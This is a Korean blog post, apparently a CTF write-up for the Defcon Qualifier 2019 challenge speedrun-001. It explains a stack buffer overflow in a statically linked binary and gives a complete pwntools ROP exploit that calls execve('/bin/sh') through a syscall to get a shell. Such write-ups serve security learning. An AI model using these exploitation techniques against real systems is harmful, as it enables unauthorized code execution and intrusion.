일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- BFS
- tcache
- 수학
- syscall
- 포맷스트링버그
- 백트래킹
- 스위핑 알고리즘
- OOB
- 투 포인터
- 이분 탐색
- 이진 탐색
- 문자열 처리
- RTL
- 연결리스트
- heap
- fsb
- 완전 탐색
- 스택
- 브루트 포스
- DFS
- 이진트리
- 에라토스테네스의 체
- 분할 정복
- 큐
- House of Orange
- BOF
- off by one
- ROP
- 다이나믹 프로그래밍
- 동적 계획법
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
Defcon Qualifier 2019 - speedrun-001 본문
보호기법은 다음과 Partial RELRO와 NX가 걸려있다.
바이너리를 분석해보자
speedrun 문제는 다 간단한 문제들이라 취약점은 쉽게 보인다.
sub_400B60()함수를 보면
1
2
3
4
5
6
7
8
|
__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]
sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}
|
BOF가 터지는게 보인다.
이 바이너리는 Dynamic linkingdynamically linked이 아니라 statically linked되었기 때문에 syscall로 ROP를 해야한다.
system("/bin/sh")를 syscall로 하기 위한 가장 기본적인 형태는 execve("/bin/sh", 0, 0)형태기 때문에
저거에 맞는 레지스터의 값을 넣어주면 된다.
"/bin/sh"가 들어있는 문자열을 포인터를 주기 위해,
rdi에 bss, rsi에 "/bin/sh"문자열을 주고,
mov [rdi], rsi를 통해 bss에 "/bin/sh"의 값을 넣어줬다.
그리고 syscall을 하면 execve("/bin/sh", 0, 0)이 실행된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from pwn import *
p = process('./speedrun-001')
syscall = 0x40129c
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
mov_ptrrdi_rsi = 0x0000000000446feb
bin_sh = 0x0068732f6e69622f
bss = 0x00000000006BC9D0 + 0x500
pay = ''
pay += 'a'*0x400
pay += 'b'*8
pay += p64(pop_rsi)
pay += p64(bin_sh)
pay += p64(pop_rdi)
pay += p64(bss)
pay += p64(mov_ptrrdi_rsi)
pay += p64(pop_rax)
pay += p64(59)
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(pop_rsi)
pay += p64(0)
pay += p64(syscall)
p.send(pay)
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
Defcon Qualifier 2019 - speedrun-005 (0) | 2020.02.05 |
---|---|
Defcon Qualifier 2019 - speedrun-004 (0) | 2020.02.05 |
nullcon hackim 2019 - babypwn (0) | 2020.01.10 |
WhiteHat Grand Prix 06 – Quals 2019 - loop (0) | 2020.01.05 |
해킹캠프 2019 [겨울] - orange (0) | 2019.11.30 |
Comments